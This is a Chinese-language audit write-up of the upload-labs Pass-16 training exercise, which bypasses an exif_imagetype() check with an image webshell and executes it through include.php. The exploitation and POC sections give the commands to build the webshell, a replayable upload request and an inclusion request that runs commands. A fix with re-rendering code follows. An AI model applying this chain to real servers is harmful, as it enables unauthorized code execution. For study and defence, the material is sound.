upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-16 |
| 漏洞类型 | exif_imagetype() 校验绕过 + 文件包含执行 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-16/index.php |
二、漏洞概述
Pass-16 使用 PHP 的 exif_imagetype() 函数检查上传文件的图片类型。该函数通过读取文件魔数判断文件类型。攻击者可以构造图片马(在合法图片中嵌入 PHP 代码),通过 exif_imagetype() 校验后上传。随后利用靶场提供的文件包含漏洞页面 include.php 执行其中嵌入的 PHP 代码。
- 危险等级:中高危
- 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码
三、问题代码位置
文件路径:Pass-16/index.php
问题代码片段(第 6-23 行):
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
保存逻辑(第 27-40 行):
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
四、漏洞分析
4.1 为什么存在这个问题
exif_imagetype() 通过文件魔数判断文件类型,只能确认文件开头是否为某种图片格式,无法检测文件中是否嵌入了 PHP 代码。攻击者可以在真实图片文件末尾追加 PHP 代码,生成图片马,从而绕过校验。
4.2 校验逻辑缺陷
- 仅验证文件魔数,未对文件整体内容进行安全检测。
- 未对上传后的图片进行二次渲染。
- 上传目录中的图片可被
include.php包含执行。
五、利用思路
- 准备一张正常图片和 PHP WebShell。
- 将两者合并成图片马:
copy /b normal.gif + shell.php shell.gif。 - 上传图片马,服务端
exif_imagetype()判断为 GIF,校验通过。 - 文件被保存为
.gif扩展名。 - 访问
include.php?file=upload/xx20260809xxxx.gif,服务端包含执行图片马中的 PHP 代码。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-16/index.php - 文件包含漏洞页面:
http://target.com/upload-labs/include.php - PHP 已启用
php_exif扩展 - 已准备好图片马
shell.gif
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-16/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif
[此处为图片马二进制内容,前面为合法 GIF 图片数据,后面拼接 PHP 一句话]
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在本地生成图片马:
# Linux/Mac
cat normal.gif shell.php > shell.gif
# Windows
copy /b normal.gif + shell.php shell.gif
- 在 Yakit 中新建 HTTP 请求,上传
shell.gif。 - 修改
Host为实际靶场地址。 - 发送请求,上传成功后返回页面显示保存的图片路径。
- 访问文件包含漏洞页面执行图片马:
GET /upload-labs/include.php?file=upload/1220260809123456.gif HTTP/1.1
Host: target.com
- 使用 POST 请求发送
cmd=phpinfo();等命令即可执行。
七、修复建议
- 图片二次渲染:重新生成图片以清除嵌入代码。
- 禁止动态包含上传文件:修复
include.php的文件包含漏洞。 - 上传目录与应用代码隔离。
- 重命名上传文件:使用随机文件名。
安全代码示例
$tmp = $_FILES['upload_file']['tmp_name'];
$type = exif_imagetype($tmp);
$allowed = [IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG];
if (!in_array($type, $allowed)) {
die('只允许上传图片文件');
}
// 二次渲染
$img = imagecreatefromstring(file_get_contents($tmp));
$ext = image_type_to_extension($type);
$new_name = md5(uniqid()) . $ext;
switch ($type) {
case IMAGETYPE_GIF: imagegif($img, UPLOAD_PATH . '/' . $new_name); break;
case IMAGETYPE_JPEG: imagejpeg($img, UPLOAD_PATH . '/' . $new_name); break;
case IMAGETYPE_PNG: imagepng($img, UPLOAD_PATH . '/' . $new_name); break;
}
imagedestroy($img);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload